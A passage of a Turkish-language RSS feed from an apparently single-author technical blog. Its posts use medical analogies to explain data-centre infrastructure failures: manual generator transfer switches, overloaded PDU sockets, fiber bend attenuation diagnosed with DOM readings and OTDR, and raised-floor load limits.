<li><strong>Ayda Bir Yüklü Jeneratör / ATS Testi (Black Start):</strong> Jeneratörü sadece rölantide çalıştırmak test değildir! Şebekenin ana şalteri kasten indirilmeli, ATS'nin yük altında transfer yapıp yapmadığı her ay gözlemlenmelidir.</li>
<li><strong>Mekanik Şalter Bakımı:</strong> Kompakt ve açık tip şalterlerin mekanik kurma yayları, enversör kilitleri (mechanical interlock) periyodik olarak temizlenmeli ve yağlanmalıdır.</li>
<li><strong>Her Mühendise Manuel Kurma Eğitimi:</strong> Gece nöbetinde duran en genç personele dahi o manivelanın nerede durduğu, şalterin nasıl kurulduğu ve ark patlamasına karşı nasıl pozisyon alınacağı uygulamalı olarak öğretilmelidir.</li>
</ul>
<p>Tıpta ventilatör durduğunda ambuyu sıkan el hayat kurtarır.</p>
<p>Veri merkezinde de ATS kilitlendiğinde o ağır manivelayı çekinmeden kavrayan ve soğukkanlılıkla şalteri kapatan mühendisin refleksi trilyonluk sistemleri küllerinden döndürür. Otomasyona güvenin, ama manivelayı her zaman elinizin altında tutun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Jeneratör</category>
            <category>ATS</category>
            <category>UPS</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>Elektrik</category>
            <category>Kriz Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/jenerator-otomatik-devreye-girmedi-manuel-transfer-salteri-ve-zamana-karsi-kosu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PDU'daki Son Priz" ve Akım Kumarı: Boş Soketin Sahte Daveti]]></title>
            <link>http://localhost:3000/blog/post/pdudaki-son-priz-ve-akim-kumari-bos-soketin-sahte-daveti</link>
            <guid>pdudaki-son-priz-ve-akim-kumari-bos-soketin-sahte-daveti</guid>
            <pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu kabinindeki PDU üzerinde kalan son boş prize aldanıp amper hesabı yapmadan takılan tek bir fişin, kabindeki tüm sunucuların sigortasını attırarak yarattığı ani kararma faciası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/pdudaki-son-priz-ve-akim-kumari-bos-soketin-sahte-daveti/thumbnail" alt=""> Acil serviste kritik durumdaki bir hastayı stabilize etmeye çalışırken uyguladığımız ilk işlemlerden biri, hastanın koluna geniş lümenli bir damar yolu açmak ve ucuna "üç yollu musluk" (three-way stopcock) takmaktır. Bu musluğun amacı, birden fazla serumu ve ilacı aynı damar yatağından hastaya iletmektir. Bir koldan serum fizyolojik akar, diğer koldan antibiyotik damlar. Musluğun üçüncü kapağı ise boştadır.</p>
<p>Bazen servise yeni başlayan hevesli bir stajyer gelir; "Aaa burada boş bir musluk varmış, hastanın ağrı kesicisini ve yoğun potasyumunu da şuradan hızla puşe edivereyim" der. Oysa o damarın biyolojik bir taşıma kapasitesi, ozmolarite limiti ve kalbe ulaşan kimyasal bir debi sınırı vardır. O boş girişe bilinçsizce yüklenen ek bir ilaç solüsyonu, hastanın damarını anında patlatabilir veya kalbinde ani bir ritim blokajına (asistoliye) yol açabilir.</p>
<p>Tıpta temel kural şudur: <strong>Fiziksel bir girişin boş olması, o girişin yeni bir yükü kaldırabileceği anlamına gelmez.</strong></p>
<p>Veri merkezi operasyonlarında, kabin düzenlemelerinde ve sunucu montajlarında da tam olarak bu boş musluk gafletini temsil eden meşhur bir altyapı kumarı vardır: <strong>Kabin PDU'sundaki Son Boş Priz.</strong></p>
<hr>
<h3>"Ne Şanslıyız, Tam Bir Priz Boş Kalmış!"</h3>
<p>Kabin arkasında duran bir sistem yöneticisinin veya saha teknisyeninin yüzünde beliren o saf rahatlama gülümsemesini çok iyi bilirsiniz.</p>
<p>Şirkete acil olarak devreye alınması gereken 2U boyutunda güçlü bir veritabanı sunucusu veya GPU hızlandırıcılı bir yapay zeka makinesi gelmiştir. Kabin rayları monte edilir, 25 kiloluk ağır kasa kan ter içinde içeri sürülür.</p>
<p>Sıra elektriğe gelir. Kasanın arkasındaki dikey PDU'ya (Power Distribution Unit) bakılır. PDU üzerinde 24 adet C13 soket vardır; 23 tanesi doludur, en altta tek bir priz masum masum parlamaktadır.</p>
<p>Teknisyen sevinçle haykırır: <em>"Valla tam denk geldi abi, tam da bir tane priz boş kalmış, uzatma kablosuna gerek kalmadı!"</em></p>
<p>Kablonun fişi o boş C13 prizine doğru uzatılır. O an teknisyenin aklından geçen tek şey mekanik uyumdur: Fiş prize giriyor mu? Giriyor. O halde çalışır.</p>
<p>Oysa o fiş prize girdiği anda, kabindeki 24 sunucunun kaderi saniyeler içinde yazı-tura atılan bir Rus ruletine dönüşür.</p>
<hr>
<h3>Amper Matematiği vs. Fiziksel Soket Sayısı</h3>
<p>Bir PDU'nun üzerindeki priz sayısı, o PDU'nun gücünü değil; sadece fiziksel bağlantı esnekliğini gösterir.</p>
<p>Standart tek fazlı bir kurumsal PDU genellikle <strong>16 Amper</strong> (Avrupa standardı, 230V, yaklaşık 3.680 Watt) nominal kapasiteye sahiptir. Amerikan veya özel endüstriyel standartlarda 20A veya 32A modeller bulunsa da, kabin içindeki çoğu standart dağıtıcı 16A sınırındadır.</p>
<p>Şimdi kabinin içindeki elektriksel bilançoya bakalım:<br>
Kabinde 15 adet 1U sunucu, 2 adet switch ve 1 adet depolama ünitesi çalışmaktadır.</p>
<ul>
<li>Bu cihazlar rölantide (idle) çalışırken toplamda <strong>13.5 Amper</strong> akım çekmektedir.</li>
<li>Elektrik mühendisliğindeki altın kural (NEC / IEC standardı): Bir elektrik devresi sürekli yük altında nominal kapasitesinin <strong>en fazla yüzde 80'i</strong> ile çalıştırılmalıdır. 16 Amperlik bir sigorta için güvenli tavan sınır <strong>12.8 Amperdir.</strong></li>
</ul>
<p>Yani kabinimiz zaten kırmızı çizginin üzerindedir; 13.5 Amper ile termik sigortanın sınırında dans etmektedir!</p>
<p>Ve teknisyen o son boş prize yeni 2U sunucunun fişini taktığında iki büyük fiziksel darbe gerçekleşir:</p>
<h4>1. İlk Darbe: İn-rush Akımı (Kalkış Akımı)</h4>
<p>Sunucunun içinde devasa elektrolitik kondansatörler vardır. Fiş prize ilk sokulduğu o mikrosaniyelik anda, o boş kondansatörler aniden şarj olmak için şebekeden normal çalışma akımının 5 ila 10 katı anlık bir darbe akımı (inrush current) çeker.</p>
<p>PDU zaten 13.5 Amperde sınırdayken, o anlık 15 Amperlik ek sıçrama sigortanın içindeki bi-metalik şeridi bir anda ısıtır.</p>
<h4>2. İkinci Darbe: Gece Yarısı Yük Sıçraması (Spike)</h4>
<p>Diyelim ki şans eseri ilk takma anında inrush akımı sigortayı attırmadı. Sunucu açıldı, rölantide 1.5 Amper çekiyor. Toplam akım oldu <strong>15 Amper!</strong> PDU 16A sınırının tam ucunda bir ip cambazı gibi beklemektedir.</p>
<p>Gece saat 03:00 olur.<br>
Zamanlanmış görevler devreye girer: Veeam yedekleme başlatır, veritabanı indeksleri yeniden oluşturulur, sunucuların işlemcileri <code>%10</code> yükten <code>%80</code> yüke fırlar.<br>
İşlemciler daha fazla güç çeker, fanlar 15.000 devire çıkarak soğutma yapmaya başlar. Kabinin çektiği toplam akım 15 Amperden <strong>17.2 Ampere</strong> tırmanır.</p>
<p>Ve kaçınılmaz son:<br>
PDU'nun üzerindeki minyatür devre kesici (MCB) tok bir sesle atar:<br>
<strong>"ÇIIK!"</strong></p>
<p>Kabin bir anda ölüm sessizliğine bürünür. 24 sunucunun tüm ledleri aynı anda söner, fanların kükremesi yerini ürpertici bir sessizliğe bırakır. Tüm şirketin e-postaları, ERP'si, web sitesi, veritabanları tek bir PDU sigortasının atmasıyla buharlaşmıştır.</p>
<hr>
<h3>"Akıllı PDU" (Metered PDU) Neden Lüks Değildir?</h3>
<p>Bu trajedinin ana sebebi, çoğu şirketin kabinlerine en ucuz, üzerinde hiçbir gösterge olmayan "kör PDU" (Basic PDU) takmasıdır.</p>
<p>Mühendis PDU'ya baktığında o an kaç Amper çekildiğini göremez. Tahmin yürütür, kafadan hesap yapar veya hiçbir şey hesaplamaz.</p>
<p>Oysa modern altyapı yönetimi şunları şart koşar:</p>
<ul>
<li><strong>Lokal Ampermetre Ekranı (Metered PDU):</strong> PDU'nun üzerinde dijital bir LED gösterge bulunmalı ve o anki toplam akımı canlı olarak (<code>12.4 A</code>) göstermelidir. Teknisyen fişi takmadan önce o ekrana baktığında sınırda olduğunu gözleriyle görmelidir.</li>
<li><strong>SNMP / Network Bağlantılı PDU:</strong> Akım yüzde 75'i geçtiğinde sistem odası izleme merkezine (Zabbix, PRTG, Grafana) uyarı bildirimi düşmelidir.</li>
<li><strong>Faz Dengesi Hesabı:</strong> Üç fazlı (3-Phase) PDU kullanılıyorsa, yükün üç faza (L1, L2, L3) eşit dağıtıldığından emin olunmalıdır. Bir faz 15A çekerken diğer fazın 2A çekmesi nötr hattında aşırı ısınmaya ve yangın riskine yol açar.</li>
</ul>
<p>Tıpta hastanın kolundaki boş musluğa bakıp "Giriş var, o zaman ilacı basayım" diyen sağlık personeline nasıl izin verilmiyorsa;</p>
<p>Veri merkezinde de PDU'daki boş sokete bakıp "Yer var, o zaman sunucuyu takayım" diyen teknisyene izin verilemez.</p>
<p>Bir prizin boş olması bir davetiye değildir; arkasındaki Amper hesabını bilmediğiniz her soket, kabininizdeki tüm sistemlerin fişini aynı anda çekmek için pusuya yatmış bir saatli bombadır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PDU</category>
            <category>Veri Merkezi</category>
            <category>Elektrik</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/pdudaki-son-priz-ve-akim-kumari-bos-soketin-sahte-daveti/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Kanal İçi Fiber Kırılması": Görünmez Işık Kaybı (Attenuation) ve Mikro Bükülme Çilesi]]></title>
            <link>http://localhost:3000/blog/post/kanal-ici-fiber-kirilmasi-gorunmez-isik-kaybi-attenuation-ve-mikro-bukulme-cilesi</link>
            <guid>kanal-ici-fiber-kirilmasi-gorunmez-isik-kaybi-attenuation-ve-mikro-bukulme-cilesi</guid>
            <pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bakır kablonun aksine dışarıdan sapasağlam görünen ancak dar açılı bükülmeler yüzünden ışığı sızdıran fiber optik kabloların yarattığı gizemli paket kayıpları ve OTDR ile iz sürme sanatı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kanal-ici-fiber-kirilmasi-gorunmez-isik-kaybi-attenuation-ve-mikro-bukulme-cilesi/thumbnail" alt=""> Damar cerrahisinde ve acil tıpta hekimleri en çok yanıltan klinik durumlardan biri "kinking" (damar bükülmesi) ve parsiyel iskemidir. Bir hastanın atardamarı tamamen kopmamıştır; kolu veya bacağı dışarıdan bakıldığında gayet pembe ve sağlam görünür. Hatta stetoskopla dinlediğinizde zayıf da olsa bir kan akımı sesi duyarsınız. Fakat hasta biraz yürümeye veya efor sarf etmeye başladığında, o bükülen damar gerekli kan debisini iletemez; doku oksijensizlikten çığlık atar, şiddetli kramplar (kladikasyon) ve mikroskobik hücre ölümleri başlar. Dışarıdan her şey yerli yerindedir, ama içeride hayat durma noktasına gelmiştir.</p>
<p>Ağ mühendisliğinde ve veri merkezi omurgalarında da tam olarak bu sinsi damar bükülmesini yaşatan, haftalarca süren sebepsiz paket kayıplarına yol açan fiziksel bir trajedi vardır: <strong>Kanal İçi Fiber Mikro Bükülmesi (Macro/Micro Bending) ve Görünmez Zayıflama.</strong></p>
<p>Bir ağ mühendisinin akıl sağlığını kaybetmesine ramak kalan o meşhur sahneyi yaşayanlar bilir: Switch'in port ışığı pırıl pırıl yeşil yanar (<code>Link Up / 100 Gbps</code>), arayüzde bağlantı var görünür; fakat içinden geçen her yüz paketten beşi buharlaşır ve ağ trafiği topallar.</p>
<hr>
<h3>Bakırın Kabalığı vs. Camın Kırılgan Zarafeti</h3>
<p>Sektörde uzun yıllar standart bakır Cat6 veya Cat6a kablolarla çalışmış teknisyenlerin en büyük yanılgısı, fiber optik kabloya da bakır kablo muamelesi yapmalarıdır.</p>
<p>Bakır affedicidir. Cat6 kabloyu kapı arasına sıkıştırabilirsiniz, üzerine ayakkabınızla basabilirsiniz, kabin köşesinden 90 derece dik açıyla büküp plastik cırt kelepçeyle sımsıkı boğabilirsiniz; bakır tel deforme olsa bile elektronlar o ezik metalin içinden akmaya devam eder. Hız belki 10 Gbps'ten 1 Gbps'e düşer ama çalışır.</p>
<p>Fiber optik ise saf fiziktir, saf ışıktır ve asla affetmez.</p>
<p>Bir Single-Mode (OS2) fiber kablonun içindeki o asıl veriyi taşıyan cam çekirdek (core) kaç mikrondur biliyor musunuz?<br>
<strong>Sadece 9 mikron!</strong> İnsan saç telinin onda biri kadar bir cam iplikçiğidir o. Çok modlu (OM3/OM4) kablolarda ise bu çekirdek 50 mikrondur.</p>
<p>Işık, o mikroskobik silika camının içinde <strong>Tam İç Yansıma (Total Internal Reflection / Snell Yasası)</strong> prensibiyle ilerler. Lazer ışını, çekirdek (core) ile onu saran cam kılıf (cladding) arasındaki kırılma indisi farkı sayesinde zikzaklar çizerek kilometrelerce öteye neredeyse hiç kayıpsız ulaşır.</p>
<p>Fakat o cam iplikçiğin fiziksel bükülme yarıçapını (bend radius) ihlal ettiğiniz anda, fizik kuralları acımasızca devreye girer.</p>
<hr>
<h3>Plastik Kelepçeyle Boğulan Işık: Macro-Bending</h3>
<p>Kabin arkasında veya yükseltilmiş tabanın (raised floor) altındaki kablo tavasında en sık gördüğümüz saha hatası şudur:</p>
<p>Teknisyen sarı renkli ince fiber patch kablolarını düzenli göstermek ister. Kablo demetini alır, siyah plastik cırt kelepçeyi (zip-tie) penseyle asılarak "ÇIK-ÇIK-ÇIK" sonuna kadar sıkar. Ya da kablo tavasının sacdan yapılmış sivri 90 derecelik köşe dönüşünde fiber kabloyu gergin bir yay gibi döndürür.</p>
<p>Dışarıdan baktığınızda sarı PVC kılıf sapasağlamdır; yırtık yoktur, kopukluk yoktur.<br>
Ama mikroskobik düzeyde iki felaket gerçekleşmiştir:</p>
<ol>
<li><strong>Görünmez Işık Sızıntısı:</strong> Cam çekirdek kritik açının ötesinde büküldüğü için, ışık ışınları kılıftan yansımak yerine camın dışına, kablonun dış zırhına doğru kaçmaya başlar. Lazer fotonları adeta delik bir hortumdan fışkıran su gibi kablonun dışına sızar.</li>
<li><strong>Kılcal Kırıklar:</strong> Aşırı gerilim altındaki silika camda gözle görülmeyen mikroskobik çatlaklar oluşur.</li>
</ol>
<p>Kablo kopmamıştır, link ayaktadır; ama sinyal zayıflaması (attenuation) göklere fırlamıştır!</p>
<hr>
<h3>Hayalet Hatalar: Link Up, Trafik Çöp</h3>
<p>Bu durumun prodüksiyondaki yansıması sistem ekipleri için tam bir delirme seansıdır:</p>
<ul>
<li>Switch arayüzü <code>100GBASE-LR4 - Link UP</code> göstermektedir.</li>
<li>Mühendis sunucudan sunucuya <code>ping</code> atar; pingler gider gelir.</li>
<li>Fakat sunucular arasına gerçek bir veri yükü (iSCSI depolama trafiği, Ceph replikasyonu veya canlı veritabanı sorguları) bindiğinde sistem kilitlenir.</li>
<li>TCP pencereleri küçülür, paketler sürekli yeniden iletilir (retransmission), Jumbo Frame paketleri düşer.</li>
<li>Switch konsolunu açtığınızda port istatistiklerinde çılgınca artan bir sayaç görürsünüz:<br>
<code>Input Errors: 4,892,102</code><br>
<code>CRC Errors: 2,198,401</code><br>
<code>FCS Errors: 871,029</code></li>
</ul>
<p>Yazılımcılar suçu Linux çekirdeğine atar, sistemciler switch'in işletim sistemini suçlar. "Acaba MTU ayarı mı yanlış, acaba işletim sisteminde TCP offloading mi bozuldu?" diye günlerce forumlarda sabahlanır.</p>
<p>Oysa sorun ne yazılımdadır ne de mantıksal yapılandırmada; sorun kabin arkasında penseyle sıkılmış 50 kuruşluk bir plastik kelepçenin o 9 mikronluk camı boğmasındadır!</p>
<hr>
<h3>Teşhis Sanatı: DOM Değerleri ve OTDR Tabancası</h3>
<p>Gerçek bir altyapı mühendisi bu tür hayalet arızalarda körlemesine tahmin yürütmez; optik metriklere bakar.</p>
<h4>1. DOM / DDM (Digital Optical Monitoring) Kontrolü</h4>
<p>Modern SFP+/QSFP modüllerinin çoğunda dahili dijital optik izleme sensörleri bulunur. Switch CLI'sında çalıştıracağınız tek bir komut gerçeği yüzünüze çarpar:<br>
<code>show interfaces transceiver detail</code></p>
<p>Ekrana gelen değerlere bakın:</p>
<ul>
<li><code>Tx Power (Gönderilen Işık): -1.5 dBm</code> (Mükemmel)</li>
<li><code>Rx Power (Alınan Işık): -26.8 dBm</code> (FELAKET!)</li>
</ul>
<p>Karşı taraf ışığı son gücüyle basmaktadır, ancak kablonun diğer ucuna ulaşan ışık -26 dBm seviyesine düşmüştür; yani alıcı modülün duyarlılık eşiğinin (receiver sensitivity) tam sınırında debelenmektedir. Işık o bükülme noktasında sızıp gitmiştir.</p>
<h4>2. OTDR (Optical Time Domain Reflectometer) ile İz Sürmek</h4>
<p>Kanalın içinde 200 metre boyunca giden bir omurga fiberinde o bükülmenin veya kılcal kırığın nerede olduğunu gözle bulamazsınız. İşte burada devreye OTDR cihazı girer.</p>
<p>OTDR, fiberin ucundan yüksek frekanslı lazer darbeleri gönderir ve geri yansıyan ışığın (Rayleigh saçılması ve Fresnel yansıması) nanosaniyeler cinsinden zamanını ölçer. Ekranda düz bir çizgi halinde ilerleyen grafik, tam bükülmenin olduğu noktada aniden uçuruma yuvarlanır:<br>
<code>Event at 42.6 meters: Attenuation Step Loss: 4.8 dB.</code></p>
<p>Metrenizi elinize alır, kablo tavasının 42. metresine gidersiniz. Yükseltilmiş taban karosunu kaldırdığınızda görürsünüz ki; birisi ağır bir güç kablosunu incecik fiber kablonun üzerine düşürmüş ve kabloyu tavanın demir köşesine sıkıştırmıştır.</p>
<hr>
<h3>Fiber Disiplini: Camla Yaşamayı Öğrenmek</h3>
<p>Veri merkezinizde fiber kablolarla çalışıyorsanız, şu profesyonel kuralları kanun bellemek zorundasınız:</p>
<ol>
<li><strong>Plastik Kelepçe Yasaktır:</strong> Fiber kablo demetlerinde asla plastik cırt kelepçe (zip-tie) kullanılmaz! Yalnızca ve yalnızca yumuşak dokulu <strong>Cırt Cırtlı Kumaş Bantlar (Velcro Ties)</strong> kullanılmalıdır. Velcro kabloyu bir arada tutar ama asla boğmaz, sıkıştırmaz.</li>
<li><strong>Bükülme Yarıçapı Kuralı:</strong> Standart bir fiber kablo asla kendi dış çapının <strong>en az 10-20 katından</strong> daha dar bir açıyla bükülmemelidir. Kabin içi dönüşlerde özel kavisli yönlendirme plastikleri (bend radius limiters) kullanılmalıdır.</li>
<li><strong>Bükülmeye Dayanıklı Fiber (Bend-Insensitive Fiber):</strong> Yeni nesil kablolamada ITU-T G.657.A1 veya A2 standartlarındaki bükülmeye dayanıklı (bend-insensitive) fiberler tercih edilmelidir. Bu kablolar dar köşelerde bile ışığı çekirdeğe hapseden özel katmanlara sahiptir.</li>
</ol>
<p>Tıpta damarı bükülen hastayı ameliyata alıp o damarı düzeltmeden şikayetlerini dindiremezsiniz.</p>
<p>Veri merkezinizde de sebepsiz paket kayıpları ve çöken veritabanı bağlantıları yaşıyorsanız, kodları kurcalamayı bırakın. Kabin arkasına eğilin ve ışığın nerede nefessiz kaldığını bulun. Çünkü fotonlar yalan söylemez; cam büküldüyse, veri ölür.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fiber Optik</category>
            <category>Ağ Altyapısı</category>
            <category>SFP</category>
            <category>OTDR</category>
            <category>Attenuation</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kanal-ici-fiber-kirilmasi-gorunmez-isik-kaybi-attenuation-ve-mikro-bukulme-cilesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Ağır Geldi": Yükseltilmiş Tabanın (Raised Floor) Yerçekimiyle İmtihanı]]></title>
            <link>http://localhost:3000/blog/post/sunucu-agir-geldi-yukseltilmis-tabanin-raised-floor-yercekimiyle-imtihani</link>
            <guid>sunucu-agir-geldi-yukseltilmis-tabanin-raised-floor-yercekimiyle-imtihani</guid>
            <pubDate>Sun, 24 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kabinleri terabaytlarca depolama ve blade kasalarla doldururken unutulan metrekare taşıma kapasitesi; yükseltilmiş tabanın bel vermesi, devrilen kabinler ve veri merkezinin statik inşaat sınavı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-agir-geldi-yukseltilmis-tabanin-raised-floor-yercekimiyle-imtihani/thumbnail" alt=""> Ortopedi ve travmatoloji kliniklerinde çalışırken omurga mekaniğinin ne kadar kırılgan ve tavizsiz bir dengeye oturduğunu dehşetle öğrenirsiniz. İnsan omurgası —özellikle bel bölgesindeki L1-L5 omurları ve aralarındaki diskler— dikey aksiyel yükü taşımak üzere mükemmel tasarlanmıştır. Fakat bir insan kendi iskeletinin yapısal sınırlarını unutup tek bir hamlede sırtına 200 kiloluk bir çimento çuvalı almaya kalktığında, fizik kanunları acımasızca işler: Kıkırdak disk aniden patlar (akut disk hernisi), omur kemiği çöker (kompresyon fraktürü) ve omurilik sıkışarak o insanı bir saniyede felç edebilir. İskelet, biyolojinin değil, saf statik fiziğin kurallarına tabidir.</p>
<p>Yazılım ve sistem mühendisliği dünyasında ise genellikle korkunç bir körlük yaşanır. Mühendisler veri merkezini sadece bitler, baytlar, gigahertzler, terabaytlar ve wattlardan ibaret soyut bir alem zannederler.</p>
<p>Oysa bir sunucu kabinine girdiğinizde karşınızda duran şey sadece bir bilişim sistemi değildir; yerçekimi kanunlarına meydan okuyan, tonlarca çelik, bakır ve silikondan oluşan devasa bir <strong>inşaat mühendisliği yüküdür.</strong></p>
<p>Ve bu gerçeği unutan her sistemcinin hayatında en az bir kez yükseltilmiş taban karosunun (raised floor) ayaklarının altından çatırdadığı o soğuk terleme anı saklıdır.</p>
<hr>
<h3>Yükseltilmiş Taban: Havada Duran İllüzyon</h3>
<p>Modern veri merkezlerinin "beyaz alan" (white space) zeminine bastığınızda ayaklarınızın altında sağlam bir zemin varmış gibi hissedersiniz. Üzerinde antistatik vinil kaplama olan 60x60 santimetrelik pürüzsüz karolar uzanır.</p>
<p>Oysa bastığınız yer gerçek zemin değildir; bir illüzyondur.</p>
<p>Gerçek beton tablanın 40 ila 80 santimetre üzerinde, çelik galvaniz borulardan yapılmış ayaklar (pedestal) ve bu ayakları birbirine bağlayan yatay profiller (stringer) üzerine oturtulmuş yapay bir platformun üzerinde yürürsünüz. Bu yükseltilmiş tabanın altında üç kritik dünya akar:</p>
<ol>
<li>İklimlendirme cihazlarının (CRAC/CRAH) bastığı yüksek debili buz gibi soğuk hava akımı,</li>
<li>Binlerce voltluk zırhlı elektrik kabloları,</li>
<li>Kilometrelerce uzunluğunda fiber ve bakır kablo tavaları.</li>
</ol>
<p>İşte bu platformun üzerinde her bir 60x60 cm karonun ve altındaki taşıyıcı ayakların iki kritik teknik sınırı vardır:</p>
<ul>
<li><strong>Noktasal Yük Kapasitesi (Concentrated / Point Load):</strong> Genellikle 25 milimetrelik kare bir alana uygulanan maksimum yük; kaliteli bir karoda yaklaşık <strong>450 kg ile 650 kg</strong> arasındadır.</li>
<li><strong>Yayılı Yük Kapasitesi (Uniform Distributed Load - UDL):</strong> Metrekare başına taşınabilecek toplam statik ağırlık; genellikle <strong>1.200 kg/m² ile 1.500 kg/m²</strong> civarındadır.</li>
</ul>
<p>Kağıt üzerinde bu rakamlar insana devasa gelir: "Aman canım bir metrekareye 1.5 ton yük mü biner?"</p>
<p>Gelin o hesabı birlikte yapalım.</p>
<hr>
<h3>Terabayt Sevdasıyla Gelen Bir Buçuk Tonluk Fil</h3>
<p>Bir depolama projesi başlar. Şirket yüzlerce terabaytlık devasa bir veri havuzu kuracaktır. 42U yüksekliğinde standart bir kurumsal kabin tahsis edilir.</p>
<p>Satın almacı sevinçle siparişleri geçer:</p>
<ul>
<li>Kabine 8 adet 4U yüksekliğinde yüksek yoğunluklu disk çekmecesi (JBOD / Dense Storage Array) yerleştirilecektir.</li>
<li>Her bir 4U şasinin içine 3.5 inçlik kurumsal mekanik disklerden tam 60 adet takılır!</li>
<li>8 şasi x 60 disk = <strong>480 adet kurumsal mekanik disk.</strong></li>
</ul>
<p>Şimdi tartıyı çıkaralım:</p>
<ul>
<li>480 adet 3.5" diskin net ağırlığı: Yaklaşık <strong>350 kilogram.</strong></li>
<li>8 adet çelik depolama şasisi, arkasındaki çift kontrol kartları ve devasa bakır soğutucular: Yaklaşık <strong>360 kilogram.</strong></li>
<li>Bu üniteleri besleyen her biri 2000 Watt'lık 16 adet ağır güç kaynağı (PSU): Yaklaşık <strong>80 kilogram.</strong></li>
<li>Kabinin kendi çelik karkası, cam kapakları ve PDU'ları: Yaklaşık <strong>150 kilogram.</strong></li>
<li>Kabinin tepesine takılan 100G omurga switch'leri ve kablo demetleri: Yaklaşık <strong>50 kilogram.</strong></li>
</ul>
<p>Toplam ağırlık: <strong>Tamı tamına 1.000 Kilogram! Yani 1 TON!</strong></p>
<p>Eğer içine blade sunucular veya kurumsal UPS akü blokları koyarsanız bu rakam rahatlıkla <strong>1.400 - 1.500 kilograma</strong> ulaşır.</p>
<p>Ve asıl felaket nerededir biliyor musunuz?<br>
Bu 1 tonluk ağırlık, kabinin tabanına homojen olarak yayılmaz!<br>
Kabin, tabanda bulunan <strong>sadece 4 adet küçük ayar vidası (levelling feet)</strong> üzerinde durur. Bu da demek olur ki; her bir ayak, yükseltilmiş tabanın karosunun üzerine tam <strong>250 ila 350 kilogramlık noktasal bir çekiç darbesi</strong> vurmaktadır!</p>
<hr>
<h3>Karoların Bel Vermesi ve Eğilen Kabinler</h3>
<p>Eğer kabini yerleştirirken altına özel ağırlık dağıtıcı çelik plakalar (spreader plates) koymadıysanız veya yükseltilmiş tabanın pedestallerini kabin ayaklarının tam altına denk gelecek şekilde takviye etmediyseniz, fizik sessizce intikamını almaya başlar:</p>
<ol>
<li><strong>Karoların Bel Vermesi (Sagging):</strong> Birkaç ay içinde kabinin bastığı karoların ortası içe doğru çöker. Karoların kenarları havaya kalkar, soğuk koridor ile sıcak koridor arasındaki sızdırmazlık bozulur.</li>
<li><strong>Ayakların Kırılması ve Eğilme Faciası:</strong> Gece vardiyasında veri merkezinde yürürken birden fark edersiniz: 42U boyundaki o devasa depolama kabini, yanındaki komşu ağ kabinine doğru 4 derece yatmıştır! Çünkü altındaki çelik yükseltme ayağı (pedestal) bükülmüş, kaynak yerinden çatlamıştır. O kabinin bir santim daha kayması, tepesindeki yüzlerce fiber kablonun gerilip kopması demektir!</li>
<li><strong>Taban Altındaki Hava Tünelinin Boğulması:</strong> Ağırlaşan karoların altındaki hava kanalları ezilir, zemin altından geçen kablo tavaları bükülür ve klimanın üflediği soğuk hava o kabine ulaşamaz hale gelir. Depolama üniteleri kendi sıcaklıklarında kavrulmaya başlar.</li>
<li><strong>Bina Statiği Sınavı:</strong> Eski bir plazanın veya dönüştürülmüş bir ofis katının zemin betonunun (slab load capacity) metrekare taşıma kapasitesi genellikle 500-750 kg/m² civarındadır. 1.5 tonluk bir kabini o zemine koyduğunuzda, sadece yükseltilmiş tabanı değil; altındaki binanın beton tabliyesini çatlatma riskiyle karşı karşıya kalırsınız!</li>
</ol>
<hr>
<h3>Kantar Mühendisliği: Veri Merkezinde Ağırlık Yönetimi</h3>
<p>Gerçek bir veri merkezi mimarı; sunucu siparişi vermeden önce yalnızca CPU ve RAM hesaplamaz, kantar hesabı yapar ve şu kuralları uygular:</p>
<ul>
<li><strong>Ağırlık Dağıtıcı Çelik Plakalar (Weight Spreader Bars):</strong> Ağır depolama kabinlerinin altına, ağırlığı en az 4-6 farklı karoya ve altındaki ana karkasa eşit dağıtan kalın çelik plakalar yerleştirilmelidir.</li>
<li><strong>Kabin İçi Yük Dağılımı:</strong> Ağır cihazlar (JBOD'lar, Blade kasalar) kabinin en alt U'larına (1U-10U arasına) monte edilmelidir. Ağırlık merkezini (center of gravity) yere yakın tutmak hem devrilme riskini sıfırlar hem de sismik dayanıklılığı artırır.</li>
<li><strong>Zemin Takviyesi (Extra Pedestals):</strong> Yüksek yoğunluklu depolama kabinlerinin geleceği alanların altındaki yükseltilmiş tabana ekstra çelik taşıyıcı ayaklar (heavy-duty stringers &#x26; pedestals) vidalanmalı, yük doğrudan beton zemine aktarılmalıdır.</li>
<li><strong>Zemin Taşıma Kapasitesi Raporu:</strong> Kabin kurulacak binanın statik inşaat projesindeki metrekare yük limitleri bir inşaat mühendisiyle birlikte incelenmelidir.</li>
</ul>
<p>Tıpta omurgasının taşıyabileceğinden fazla yüke giren hastanın beli kırılır.</p>
<p>Veri merkezinde de yerçekimini unutup kabinleri körlemesine demirle dolduran mühendis; en gelişmiş depolama sistemlerinin yükseltilmiş tabanın enkazı altında ezilmesini çaresizce izlemeye mahkûmdur. Bitler hafif olabilir, ama o bitleri tutan metaller dünyadaki en acımasız fizik kuralına tabidir: Yerçekimi asla uyumaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Raised Floor</category>
            <category>Altyapı</category>
            <category>Donanım</category>
            <category>İnşaat</category>
            <category>Depolama</category>
            <category>SysAdmin</category>
